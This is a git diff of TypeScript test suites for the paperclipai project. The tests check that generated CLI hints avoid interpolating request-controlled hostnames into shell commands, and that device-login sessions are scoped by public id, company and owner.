+  it("allows an exact allowlist entry and a bare documentation mention", () => {
+    expect(scanText("doc/E.md", "pnpm paperclipai run")).toEqual([]);
+    expect(scanText("doc/E.md", "pnpm paperclipai worktree env --json")).toEqual([]);
+    expect(scanText("doc/E.md", "pnpm paperclipai configure --section server")).toEqual([]);
+    // A prose mention inside backticks is not a runnable command.
+    expect(scanText("doc/E.md", "Do not use `pnpm paperclipai` for a content-bearing argument.")).toEqual([]);
+    expect(scanText("doc/E.md", "The `pnpm paperclipai <command> <args>` form is unsafe.")).toEqual([]);
+  });
+
   // ── Direct assertions on the runtime-generated instruction surfaces ──────
 
   it("emits a static, non-interpolated safe form from the private-hostname guard messages", () => {
@@ -242,17 +707,19 @@ describe("paperclipai CLI invocation safety", () => {
     // The blocked-host and missing-host messages must never interpolate the
     // request Host header into the guidance command. An operator or an agent
     // can paste the guidance into a shell, and that outer shell evaluates a
-    // metacharacter span in the host before any CLI receives argv. `pnpm exec`
-    // does not stop the outer shell. Emit a static `<host>` placeholder only.
-    expect(source).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+    // metacharacter span in the host before any CLI receives argv. A direct-exec
+    // form does not stop the outer shell. Emit a static `<host>` placeholder only.
+    expect(source).toContain("run npx paperclipai allowed-hostname <host>");
     expect(source).not.toContain("allowed-hostname ${hostname}");
     expect(source).not.toContain("pnpm paperclipai allowed-hostname");
+    expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
   });
 
   it("emits a static, non-interpolated safe form from the onboarding access diagnostics", () => {
     const source = read("server/src/routes/access.ts");
     expect(source).not.toMatch(/pnpm paperclipai allowed-hostname/);
-    expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
+    expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
+    expect(source).toContain("npx paperclipai allowed-hostname <host>");
     // The onboarding host comes from the request base URL, so a requester
     // controls it. The emitted command must carry a static `<host>` placeholder
     // and never interpolate that value.
@@ -262,7 +729,8 @@ describe("paperclipai CLI invocation safety", () => {
   it("emits the safe form from the agent onboarding prompt", () => {
     const source = read("ui/src/lib/agent-onboarding-prompt.ts");
     expect(source).not.toContain("pnpm paperclipai allowed-hostname");
-    expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
+    expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
+    expect(source).toContain("npx paperclipai allowed-hostname <host>");
   });
 
   it("emits the safe form in the generated company-export README", () => {
@@ -270,14 +738,76 @@ describe("paperclipai CLI invocation safety", () => {
       { agents: [], projects: [], skills: [], issues: [] } as never,
       { companyName: "Acme", companyDescription: null },
     );
-    expect(readme).toContain("pnpm exec paperclipai company import this-github-url-or-folder");
+    expect(readme).toContain("npx paperclipai company import this-github-url-or-folder");
     expect(readme).not.toContain("pnpm paperclipai company import");
+    expect(readme).not.toContain("pnpm exec paperclipai company import");
   });
 
   it("emits the safe form in the company-export preview builder", () => {
     const source = read("ui/src/pages/CompanyExport.tsx");
     expect(source).not.toContain("pnpm paperclipai company import");
-    expect(source).toContain("pnpm exec paperclipai company import");
+    expect(source).not.toContain("pnpm exec paperclipai company import");
+    expect(source).toContain("npx paperclipai company import");
+  });
+
+  // ── Runtime surfaces and their fixed literal lifecycle hints ─────────────
+  //
+  // The server startup banner, the UI bootstrap fallback, and the board skill
+  // emit the onboard, bootstrap, and board-setup hints. These three surfaces
+  // reach readers on the published install, who have no monorepo checkout. The
+  // `pnpm paperclipai` script resolves only inside a checkout, so each surface
+  // must pin the `npx paperclipai` form. The client connection-error hint also
+  // reaches a reader who may run an installed package, so it keeps `npx`. The
+  // env-lab cleanup hint runs from a source checkout and must work from any
+  // subdirectory, so it uses the module-resolved direct-exec form (see below).
+
+  it("emits the onboard hint from the server startup banner", () => {
+    const source = read("server/src/startup-banner.ts");
+    expect(source).toContain("npx paperclipai onboard");
+    expect(source).not.toContain("pnpm paperclipai onboard");
+    expect(source).not.toContain("pnpm exec paperclipai onboard");
+  });
+
+  it("emits the safe run form from the client connection-error hint", () => {
+    const source = read("cli/src/client/http.ts");
+    expect(source).toContain("npx paperclipai run");
+    expect(source).not.toContain("pnpm paperclipai run");
+  });
+
+  it("emits the checked-out CLI cleanup form from the env-lab status output", () => {
+    const source = read("cli/src/commands/env-lab.ts");
+    // The env-lab fixture runs from a source checkout. The cleanup hint must run
+    // the local `cli/src` through the direct-exec form. That form passes an inert
+    // `argv` value, so no shell reads the argument. The hint resolves the paths
+    // from the module location, so it works from any subdirectory of the
+    // checkout. A `cli/...` path relative to the caller would break outside the
+    // repository root. The `cli/src/env-lab.test.ts` suite proves the runtime
+    // behaviour; this check pins the source form.
+    expect(source).toContain("fileURLToPath(import.meta.url)");
+    expect(source).toContain('path.join(cliRoot, "src", "index.ts")');
+    expect(source).toContain("env-lab down");
+    // The bare `pnpm paperclipai` script form is unsafe. Do not restore it.
+    expect(source).not.toContain("pnpm paperclipai env-lab");
+    // `pnpm exec paperclipai` does not resolve the CLI binary. Do not use it.
+    expect(source).not.toContain("pnpm exec paperclipai env-lab");
+    // The CWD-relative form breaks from a checkout subdirectory. Do not restore it.
+    expect(source).not.toContain(
+      "node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts env-lab down",
+    );
+  });
+
+  it("emits the bootstrap fallback command from the UI", () => {
+    const source = read("ui/src/bootstrapSetup.ts");
+    expect(source).toContain("npx paperclipai auth bootstrap-ceo");
+    expect(source).not.toContain("pnpm paperclipai auth bootstrap-ceo");
+    expect(source).not.toContain("pnpm exec paperclipai auth bootstrap-ceo");
+  });
+
+  it("emits the setup form from the board skill", () => {
+    const source = read("skills/paperclip-board/SKILL.md");
+    expect(source).toContain("npx paperclipai board setup");
+    expect(source).not.toContain("pnpm paperclipai board setup");
+    expect(source).not.toContain("pnpm exec paperclipai board setup");
   });
 
   // ── The safe-invocation note ─────────────────────────────────────────────
@@ -285,14 +815,33 @@ describe("paperclipai CLI invocation safety", () => {
   it("documents the safe form in doc/CLI.md", () => {
     const cli = read("doc/CLI.md");
     expect(cli).toContain("Security: safe invocation for content-bearing arguments");
-    expect(cli).toContain("pnpm exec paperclipai");
+    expect(cli).toContain("npx paperclipai");
     expect(cli).toContain("inert `argv`");
+    // The policy section states the exact-allowlist rule.
+    expect(cli).toContain("allowlist entry is an offender");
+  });
+
+  it("documents offline and air-gapped use with a safe cache-only form", () => {
+    const cli = read("doc/CLI.md");
+    const subsection = extractOfflineSubsection(cli);
+    // The offline subsection must exist and must name the cache-only safe form.
+    expect(subsection).toContain("### Offline and air-gapped use");
+    expect(subsection).toContain("npx --offline paperclipai");
+    // The offline subsection must not present `pnpm paperclipai` or
+    // `pnpm exec paperclipai` as a safe or offline form. Only a warning line
+    // may name `pnpm paperclipai`, and it must tell the reader not to use it.
+    for (const line of subsection.split("\n")) {
+      expect(line).not.toContain("pnpm exec paperclipai");
+      if (line.includes("pnpm paperclipai")) {
+        expect(line.toLowerCase()).toContain("do not use");
+      }
+    }
   });
 
   it("documents the safe form in the agent-facing skill", () => {
     const skill = read("skills/paperclip/SKILL.md");
     expect(skill).toContain("CLI safety");
-    expect(skill).toContain("pnpm exec paperclipai");
+    expect(skill).toContain("npx paperclipai");
     expect(skill).toContain("Do not use `pnpm paperclipai`");
   });
 
@@ -310,7 +859,6 @@ describe("paperclipai CLI invocation safety", () => {
     expect(offenders).toHaveLength(1);
     // The report points to the first physical line of the command.
     expect(offenders[0]).toContain("doc/EXAMPLE.md:2:");
-    expect(offenders[0]).toContain("--title");
   });
 
   it("flags a continued command whose only content-bearing flag sits on the last line", () => {
@@ -334,12 +882,19 @@ describe("paperclipai CLI invocation safety", () => {
     expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
   });
 
-  it("does not flag a continued pnpm paperclipai command without content-bearing arguments", () => {
+  it("does not flag a continued pnpm paperclipai command that stays on the allowlist", () => {
     const source = [
-      "pnpm paperclipai worktree reseed \\",
-      "  --from current \\",
-      "  --seed-mode full",
+      "pnpm paperclipai env-lab \\",
+      "  status \\",
+      "  --json",
     ].join("\n");
     expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
   });
+
+  it("flags a recommended pnpm exec paperclipai line but skips a warning line", () => {
+    expect(recommendsBrokenExecForm("Run pnpm exec paperclipai issue create --title x")).toBe(true);
+    expect(
+      recommendsBrokenExecForm("`pnpm exec paperclipai <command> <args>` — broken. Do not use it."),
+    ).toBe(false);
+  });
 });
diff --git a/server/src/__tests__/codex-device-login-reaper.test.ts b/server/src/__tests__/codex-device-login-reaper.test.ts
index 489c9518e6d..3c7c81b53ad 100644
--- a/server/src/__tests__/codex-device-login-reaper.test.ts
+++ b/server/src/__tests__/codex-device-login-reaper.test.ts
@@ -86,7 +86,7 @@ function createMemoryReaperStore(): AdapterAuthReaperStore & {
       const row = rows.get(sessionId);
       return row ? { ...row } : null;
     },
-    async withCompanyAdapterPromotionLock(_companyId, _adapterType, fn) {
+    async withCompanyAdapterPromotionLock(_companyId, _startedByUserId, _adapterType, fn) {
       // The in-memory store runs on a single event loop, so it needs no real
       // lock. The pass-through keeps the reaper contract satisfied.
       return fn();
diff --git a/server/src/__tests__/codex-device-login-service.test.ts b/server/src/__tests__/codex-device-login-service.test.ts
index eb6081b57cf..516cd2eb754 100644
--- a/server/src/__tests__/codex-device-login-service.test.ts
+++ b/server/src/__tests__/codex-device-login-service.test.ts
@@ -66,12 +66,15 @@ const OWNER_B = "user-b";
 // the status through a serialized tail, so a test waits for the write to land
 // before it drives the next step.
 async function waitForStatus(
-  store: { get(sessionId: string): Promise<AdapterAuthSessionRow | null> },
-  sessionId: string,
+  store: {
+    getByPublicId(publicSessionId: string, companyId: string): Promise<AdapterAuthSessionRow | null>;
+  },
+  publicSessionId: string,
+  companyId: string,
   status: AdapterAuthSessionRow["status"],
 ): Promise<void> {
   for (let attempt = 0; attempt < 1000; attempt += 1) {
-    const row = await store.get(sessionId);
+    const row = await store.getByPublicId(publicSessionId, companyId);
     if (row?.status === status) return;
     await new Promise((resolve) => setImmediate(resolve));
   }
@@ -153,17 +156,21 @@ function createMemoryStore(): AdapterAuthSessionStore & {
 } {
   const rows = new Map<string, AdapterAuthSessionRow>();
   const activeSlots = new Set<string>();
-  const slotKey = (companyId: string, adapterType: string) => `${companyId}|${adapterType}`;
+  // The active company credential slot is scoped to the company, the owner, and
+  // the adapter, so two owners in one company hold independent slots.
+  const slotKey = (companyId: string, startedByUserId: string, adapterType: string) =>
+    `${companyId}|${startedByUserId}|${adapterType}`;
   const isActive = (status: AdapterAuthSessionRow["status"]) =>
     status === "starting" || status === "waiting_for_user" || status === "promoting";
   return {
     rows,
     async insert(input) {
-      const key = slotKey(input.companyId, input.adapterType);
+      const key = slotKey(input.companyId, input.startedByUserId, input.adapterType);
       if (activeSlots.has(key)) throw new AdapterAuthSessionConflictError();
       activeSlots.add(key);
       rows.set(input.id, {
         id: input.id,
+        publicSessionId: input.publicSessionId,
         companyId: input.companyId,
         environmentId: input.environmentId,
         adapterType: input.adapterType,
@@ -187,7 +194,8 @@ function createMemoryStore(): AdapterAuthSessionStore & {
       if (input.failureReason !== undefined) row.failureReason = input.failureReason;
       if (input.finishedAt !== undefined) row.finishedAt = input.finishedAt;
       if (input.promotionExpiresAt !== undefined) row.promotionExpiresAt = input.promotionExpiresAt;
-      if (!isActive(input.status)) activeSlots.delete(slotKey(row.companyId, row.adapterType));
+      if (!isActive(input.status))
+        activeSlots.delete(slotKey(row.companyId, row.startedByUserId, row.adapterType));
     },
     async compareAndSetStatus(input) {
       const row = rows.get(input.sessionId);
@@ -196,14 +204,25 @@ function createMemoryStore(): AdapterAuthSessionStore & {
       if (input.failureReason !== undefined) row.failureReason = input.failureReason;
       if (input.finishedAt !== undefined) row.finishedAt = input.finishedAt;
       if (input.promotionExpiresAt !== undefined) row.promotionExpiresAt = input.promotionExpiresAt;
-      if (!isActive(input.status)) activeSlots.delete(slotKey(row.companyId, row.adapterType));
+      if (!isActive(input.status))
+        activeSlots.delete(slotKey(row.companyId, row.startedByUserId, row.adapterType));
       return true;
     },
     async get(sessionId) {
       const row = rows.get(sessionId);
       return row ? { ...row } : null;
     },
-    async withCompanyAdapterPromotionLock(_companyId, _adapterType, fn) {
+    async getByPublicId(publicSessionId, companyId) {
+      // Scope the read to the company and the public session id, so a
+      // foreign-company lookup reads nothing and the internal id never matches.
+      for (const row of rows.values()) {
+        if (row.publicSessionId === publicSessionId && row.companyId === companyId) {
+          return { ...row };
+        }
+      }
+      return null;
+    },
+    async withCompanyAdapterPromotionLock(_companyId, _startedByUserId, _adapterType, fn) {
       // The in-memory store runs on a single event loop, so it needs no real
       // lock. The pass-through keeps the store contract satisfied.
       return fn();
@@ -275,15 +294,17 @@ describe("codex device login service", () => {
     // The prompt is surfaced only after the conditional move to
     // `waiting_for_user` wins, so wait for that surface, then drain the microtask
     // that retains the prompt before the owner reads it.
-    await waitForStatus(store, session.sessionId, "waiting_for_user");
+    await waitForStatus(store, session.sessionId, companyId, "waiting_for_user");
     await new Promise((resolve) => setImmediate(resolve));
 
     // The owner reads the one-time prompt through the owner read path.
-    const owner = await service.readOwnerSession(session.sessionId, OWNER_A);
+    const owner = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
     expect(owner?.prompt).toEqual({ url: DEVICE_LOGIN_URL, code: PROMPT_CODE });
+    // The read returns the public session id, never the internal row id.
+    expect(owner?.sessionId).toBe(session.sessionId);
 
     // A non-owner never reads the prompt.
-    const other = await service.readOwnerSession(session.sessionId, OWNER_B);
+    const other = await service.readOwnerSession(session.sessionId, companyId, OWNER_B);
     expect(other?.prompt).toBeNull();
 
     const outcome = await completed;
@@ -292,15 +313,18 @@ describe("codex device login service", () => {
     expect(outcome.sandboxDeleteObserved).toBe(true);
     expect(deleteCalls).toHaveLength(1);
     expect(promoted).toHaveLength(1);
-    // The promotion runs with the session and company context, so it resolves the
-    // company scope and the sole-active-owner check for this exact session.
-    expect(promotionContexts).toEqual([{ sessionId: session.sessionId, companyId }]);
+    // The promotion runs with the internal session id and the company context, so
+    // it resolves the company scope and the sole-active-owner check for this exact
+    // session. The internal id is not the public session id.
+    const internalRow = await store.getByPublicId(session.sessionId, companyId);
+    expect(promotionContexts).toEqual([{ sessionId: internalRow?.id, companyId }]);
+    expect(internalRow?.id).not.toBe(session.sessionId);
 
     // The prompt is one-time: a second owner read returns null.
-    const secondRead = await service.readOwnerSession(session.sessionId, OWNER_A);
+    const secondRead = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
     expect(secondRead?.prompt).toBeNull();
 
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("authenticated");
     expect(row?.finishedAt).not.toBeNull();
 
@@ -338,8 +362,9 @@ describe("codex device login service", () => {
         },
       },
     });
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
@@ -350,9 +375,9 @@ describe("codex device login service", () => {
     expect(outcome.status).toBe("failed");
     expect(promoteCalls).toBe(0);
     expect(deleteCalls).toHaveLength(1);
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("failed");
-    const failed = await service.readOwnerSession(session.sessionId, OWNER_A);
+    const failed = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
     expect(failed?.failure?.reason).toBe("promotion_failed");
   });
 
@@ -360,8 +385,9 @@ describe("codex device login service", () => {
     const store = createMemoryStore();
     const { runtime, deleteCalls } = createFakeRuntime({ exec: execFailure });
     const service = makeService({ store, runtime });
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
@@ -370,7 +396,7 @@ describe("codex device login service", () => {
     expect(outcome.status).toBe("failed");
     expect(outcome.sandboxDeleteObserved).toBe(true);
     expect(deleteCalls).toHaveLength(1);
-    const failed = await service.readOwnerSession(session.sessionId, OWNER_A);
+    const failed = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
     expect(failed?.status).toBe("failed");
     expect(failed?.failure?.reason).toBe("login_command_failed");
   });
@@ -395,8 +421,9 @@ describe("codex device login service", () => {
     const { runtime, deleteCalls } = createFakeRuntime({ exec: execHang });
     const service = makeService({ store, runtime });
     const controller = new AbortController();
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
@@ -407,7 +434,7 @@ describe("codex device login service", () => {
     expect(outcome.status).toBe("cancelled");
     expect(outcome.sandboxDeleteObserved).toBe(true);
     expect(deleteCalls).toHaveLength(1);
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("cancelled");
   });
 
@@ -462,8 +489,9 @@ describe("codex device login service", () => {
       });
       const service = makeService({ store, runtime });
       const controller = new AbortController();
+      const companyId = randomUUID();
       const { session, completed } = await service.start({
-        companyId: randomUUID(),
+        companyId,
         environmentId: randomUUID(),
         adapterType: ADAPTER_TYPE,
         startedByUserId: OWNER_A,
@@ -475,10 +503,10 @@ describe("codex device login service", () => {
       expect(outcome.cleanupPending).toBe(true);
       expect(outcome.sandboxDeleteObserved).toBe(true);
       expect(deleteCalls).toHaveLength(1);
-      const row = await store.get(session.sessionId);
+      const row = await store.getByPublicId(session.sessionId, companyId);
       expect(row?.status).toBe("cleanup_pending");
       // The public read resolves the retained terminal, never a false-clean.
-      const publicRead = await service.readOwnerSession(session.sessionId, OWNER_A);
+      const publicRead = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
       expect(publicRead?.status).toBe(terminal);
     },
   );
@@ -499,8 +527,9 @@ describe("codex device login service", () => {
         },
       },
     });
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
@@ -512,9 +541,9 @@ describe("codex device login service", () => {
     expect(outcome.cleanupPending).toBe(true);
     expect(outcome.sandboxDeleteObserved).toBe(true);
     expect(deleteCalls).toHaveLength(1);
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("cleanup_pending");
-    const publicRead = await service.readOwnerSession(session.sessionId, OWNER_A);
+    const publicRead = await service.readOwnerSession(session.sessionId, companyId, OWNER_A);
     expect(publicRead?.status).toBe("failed");
     expect(publicRead?.failure?.reason).toBe("promotion_failed");
   });
@@ -527,8 +556,9 @@ describe("codex device login service", () => {
       delete: async () => ({ outcome: "not_found" }),
     });
     const service = makeService({ store, runtime });
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
@@ -537,7 +567,7 @@ describe("codex device login service", () => {
     expect(outcome.status).toBe("authenticated");
     expect(outcome.cleanupPending).toBe(false);
     expect(outcome.sandboxDeleteObserved).toBe(true);
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("authenticated");
   });
 
@@ -560,19 +590,22 @@ describe("codex device login service", () => {
     });
     const promote = vi.fn(() => {});
     const service = makeService({ store, runtime, promotion: { promote } });
+    const companyId = randomUUID();
     const { session, completed } = await service.start({
-      companyId: randomUUID(),
+      companyId,
       environmentId: randomUUID(),
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
     });
 
     // The prompt moves the row to the active `waiting_for_user` state.
-    await waitForStatus(store, session.sessionId, "waiting_for_user");
+    await waitForStatus(store, session.sessionId, companyId, "waiting_for_user");
 
     // The reaper wins the slot: it terminates the row before the promotion claim.
+    // The status write keys on the internal id, not the public session id.
+    const seededRow = await store.getByPublicId(session.sessionId, companyId);
     await store.setStatus({
-      sessionId: session.sessionId,
+      sessionId: seededRow!.id,
       status: "timed_out",
       at: new Date(),
       finishedAt: new Date(),
@@ -586,7 +619,7 @@ describe("codex device login service", () => {
     // The lost claim writes no credential and never authenticates.
     expect(promote).not.toHaveBeenCalled();
     expect(outcome.status).not.toBe("authenticated");
-    const row = await store.get(session.sessionId);
+    const row = await store.getByPublicId(session.sessionId, companyId);
     expect(row?.status).toBe("timed_out");
     // The service still deletes its own sandbox on the lost-claim path.
     expect(deleteCalls).toHaveLength(1);
@@ -616,18 +649,18 @@ describe("codex device login service", () => {
         adapterType: ADAPTER_TYPE,
         startedByUserId: OWNER_A,
       });
-      await waitForStatus(store, session.sessionId, "waiting_for_user");
+      await waitForStatus(store, session.sessionId, companyId, "waiting_for_user");
 
       // A non-owner cannot cancel the session.
-      expect(await service.cancelOwnerSession(session.sessionId, OWNER_B)).toBeNull();
+      expect(await service.cancelOwnerSession(session.sessionId, companyId, OWNER_B)).toBeNull();
 
       // The owner cancel resolves the public terminal status at once.
-      const cancelled = await service.cancelOwnerSession(session.sessionId, OWNER_A);
+      const cancelled = await service.cancelOwnerSession(session.sessionId, companyId, OWNER_A);
       expect(cancelled?.status).toBe("cancelled");
 
       // The row holds the internal cleanup_pending state that encodes the
       // cancelled terminal, so the reaper deletes the sandbox and finalizes it.
-      const row = await store.get(session.sessionId);
+      const row = await store.getByPublicId(session.sessionId, companyId);
       expect(row?.status).toBe("cleanup_pending");
       expect(row?.finishedAt).not.toBeNull();
 
@@ -662,19 +695,20 @@ describe("codex device login service", () => {
       });
       const { runtime } = createFakeRuntime({ exec: execSuccess, authBytes: Buffer.from("{}") });
       const service = makeService({ store, runtime, promotion: { promote } });
+      const companyId = randomUUID();
       const { session, completed } = await service.start({
-        companyId: randomUUID(),
+        companyId,
         environmentId: randomUUID(),
         adapterType: ADAPTER_TYPE,
         startedByUserId: OWNER_A,
       });
-      await waitForStatus(store, session.sessionId, "promoting");
+      await waitForStatus(store, session.sessionId, companyId, "promoting");
 
       // The cancel skips the promoting row, so the credential write finishes. The
       // public projection of a promoting row is `waiting_for_user`.
-      const result = await service.cancelOwnerSession(session.sessionId, OWNER_A);
+      const result = await service.cancelOwnerSession(session.sessionId, companyId, OWNER_A);
       expect(result?.status).toBe("waiting_for_user");
-      const row = await store.get(session.sessionId);
+      const row = await store.getByPublicId(session.sessionId, companyId);
       expect(row?.status).toBe("promoting");
 
       // Release the promotion, so the run reaches its own terminal.
@@ -691,8 +725,9 @@ describe("codex device login service", () => {
         const store = createMemoryStore();
         const { runtime, deleteCalls } = createFakeRuntime({ exec: execHang });
         const service = makeService({ store, runtime });
+        const companyId = randomUUID();
         const { session, completed } = await service.start({
-          companyId: randomUUID(),
+          companyId,
           environmentId: randomUUID(),
           adapterType: ADAPTER_TYPE,
           startedByUserId: OWNER_A,
@@ -706,7 +741,7 @@ describe("codex device login service", () => {
         // claim.
         await vi.advanceTimersByTimeAsync(CODEX_DEVICE_LOGIN_TIMEOUT_MS - 1);
         expect(settled).toBe(false);
-        const midRow = await store.get(session.sessionId);
+        const midRow = await store.getByPublicId(session.sessionId, companyId);
         expect(["starting", "waiting_for_user"]).toContain(midRow?.status);
 
         // The last millisecond fires the timeout.
@@ -715,7 +750,7 @@ describe("codex device login service", () => {
         expect(outcome.status).toBe("timed_out");
         expect(outcome.sandboxDeleteObserved).toBe(true);
         expect(deleteCalls).toHaveLength(1);
-        const row = await store.get(session.sessionId);
+        const row = await store.getByPublicId(session.sessionId, companyId);
         expect(row?.status).toBe("timed_out");
       } finally {
         vi.useRealTimers();
@@ -733,8 +768,9 @@ describe("codex device login service", () => {
           },
         });
         const service = makeService({ store, runtime });
+        const companyId = randomUUID();
         const { session, completed } = await service.start({
-          companyId: randomUUID(),
+          companyId,
           environmentId: randomUUID(),
           adapterType: ADAPTER_TYPE,
           startedByUserId: OWNER_A,
@@ -745,7 +781,7 @@ describe("codex device login service", () => {
         expect(outcome.cleanupPending).toBe(true);
         expect(outcome.sandboxDeleteObserved).toBe(true);
         expect(deleteCalls).toHaveLength(1);
-        const row = await store.get(session.sessionId);
+        const row = await store.getByPublicId(session.sessionId, companyId);
         expect(row?.status).toBe("cleanup_pending");
       } finally {
         vi.useRealTimers();
@@ -887,73 +923,112 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     return environmentId;
   }
 
-  it.each([
-    { name: "two owners, same environment" },
-    { name: "one owner, two environments" },
-  ])(
-    "returns one session, one lease, and one 409 for concurrent starts ($name)",
-    async ({ name }) => {
-      const { companyId, environmentId: environmentA } = await seedCompanyEnvironment();
-      const twoOwners = name.startsWith("two owners");
-      const environmentB = twoOwners ? environmentA : await seedEnvironment(companyId);
-      const ownerB = twoOwners ? OWNER_B : OWNER_A;
+  it("lets two owners in one company each hold an active session", async () => {
+    // The active slot is scoped to the company, the owner, and the adapter. Two
+    // owners in one company hold independent slots, so both concurrent starts
+    // succeed and each acquires one lease.
+    const { companyId, environmentId } = await seedCompanyEnvironment();
+    const store = createDbAdapterAuthSessionStore(db);
+    const { runtime, acquisitions } = createFakeRuntime({ exec: execHang });
+    const service = makeService({ store, runtime });
+    const controller = new AbortController();
 
-      const store = createDbAdapterAuthSessionStore(db);
-      const { runtime, acquisitions } = createFakeRuntime({ exec: execHang });
-      const service = makeService({ store, runtime });
-      const controller = new AbortController();
+    const results = await Promise.allSettled([
+      service.start({
+        companyId,
+        environmentId,
+        adapterType: ADAPTER_TYPE,
+        startedByUserId: OWNER_A,
+        signal: controller.signal,
+      }),
+      service.start({
+        companyId,
+        environmentId,
+        adapterType: ADAPTER_TYPE,
+        startedByUserId: OWNER_B,
+        signal: controller.signal,
+      }),
+    ]);
 
-      const results = await Promise.allSettled([
-        service.start({
-          companyId,
-          environmentId: environmentA,
-          adapterType: ADAPTER_TYPE,
-          startedByUserId: OWNER_A,
-          signal: controller.signal,
-        }),
-        service.start({
-          companyId,
-          environmentId: environmentB,
-          adapterType: ADAPTER_TYPE,
-          startedByUserId: ownerB,
-          signal: controller.signal,
-        }),
-      ]);
+    const fulfilled = results.filter(
+      (result): result is PromiseFulfilledResult<Awaited<ReturnType<typeof service.start>>> =>
+        result.status === "fulfilled",
+    );
+    expect(fulfilled).toHaveLength(2);
+    expect(acquisitions).toHaveLength(2);
+    const rows = await db
+      .select()
+      .from(adapterAuthSessions)
+      .where(eq(adapterAuthSessions.companyId, companyId));
+    expect(rows).toHaveLength(2);
 
-      const fulfilled = results.filter(
-        (result): result is PromiseFulfilledResult<Awaited<ReturnType<typeof service.start>>> =>
-          result.status === "fulfilled",
-      );
-      const rejected = results.filter(
-        (result): result is PromiseRejectedResult => result.status === "rejected",
-      );
-      expect(fulfilled).toHaveLength(1);
-      expect(rejected).toHaveLength(1);
-      const conflict = rejected[0]!.reason;
-      expect(conflict).toBeInstanceOf(AdapterAuthSessionConflictError);
-      expect(conflict.statusCode).toBe(409);
+    // Release the surviving runs so the hanging login commands end.
+    controller.abort();
+    await Promise.all(fulfilled.map((result) => result.value.completed));
+  });
 
-      // Exactly one start acquired a lease; the losing start never acquired.
-      expect(acquisitions).toHaveLength(1);
-      const rows = await db
-        .select()
-        .from(adapterAuthSessions)
-        .where(eq(adapterAuthSessions.companyId, companyId));
-      expect(rows).toHaveLength(1);
+  it("returns one session, one lease, and one 409 when one owner starts twice", async () => {
+    // One owner starting twice in two environments conflicts on the active slot.
+    // The slot dropped the environment term, so the second environment does not
+    // grant a second active session.
+    const { companyId, environmentId: environmentA } = await seedCompanyEnvironment();
+    const environmentB = await seedEnvironment(companyId);
 
-      // Release the surviving run so the hanging login command ends.
-      controller.abort();
-      await fulfilled[0]!.value.completed;
-    },
-  );
+    const store = createDbAdapterAuthSessionStore(db);
+    const { runtime, acquisitions } = createFakeRuntime({ exec: execHang });
+    const service = makeService({ store, runtime });
+    const controller = new AbortController();
 
-  it("rejects a second start with a 409 while the first login holds the promotion claim", async () => {
+    const results = await Promise.allSettled([
+      service.start({
+        companyId,
+        environmentId: environmentA,
+        adapterType: ADAPTER_TYPE,
+        startedByUserId: OWNER_A,
+        signal: controller.signal,
+      }),
+      service.start({
+        companyId,
+        environmentId: environmentB,
+        adapterType: ADAPTER_TYPE,
+        startedByUserId: OWNER_A,
+        signal: controller.signal,
+      }),
+    ]);
+
+    const fulfilled = results.filter(
+      (result): result is PromiseFulfilledResult<Awaited<ReturnType<typeof service.start>>> =>
+        result.status === "fulfilled",
+    );
+    const rejected = results.filter(
+      (result): result is PromiseRejectedResult => result.status === "rejected",
+    );
+    expect(fulfilled).toHaveLength(1);
+    expect(rejected).toHaveLength(1);
+    const conflict = rejected[0]!.reason;
+    expect(conflict).toBeInstanceOf(AdapterAuthSessionConflictError);
+    expect(conflict.statusCode).toBe(409);
+
+    // Exactly one start acquired a lease; the losing start never acquired.
+    expect(acquisitions).toHaveLength(1);
+    const rows = await db
+      .select()
+      .from(adapterAuthSessions)
+      .where(eq(adapterAuthSessions.companyId, companyId));
+    expect(rows).toHaveLength(1);
+
+    // Release the surviving run so the hanging login command ends.
+    controller.abort();
+    await fulfilled[0]!.value.completed;
+  });
+
+  it("rejects the same owner's second start with a 409 while the first holds the promotion claim", async () => {
     const { companyId, environmentId } = await seedCompanyEnvironment();
     const store = createDbAdapterAuthSessionStore(db);
     const { runtime } = createFakeRuntime({ exec: execSuccess, authBytes: Buffer.from("{}") });
 
     // A promotion that never resolves. The first login stays in `promoting`, so
-    // it holds the active company slot through the claim window.
+    // it holds the active slot through the claim window.
     let releasePromotion!: () => void;
     const promotionGate = new Promise<void>((resolve) => {
       releasePromotion = resolve;
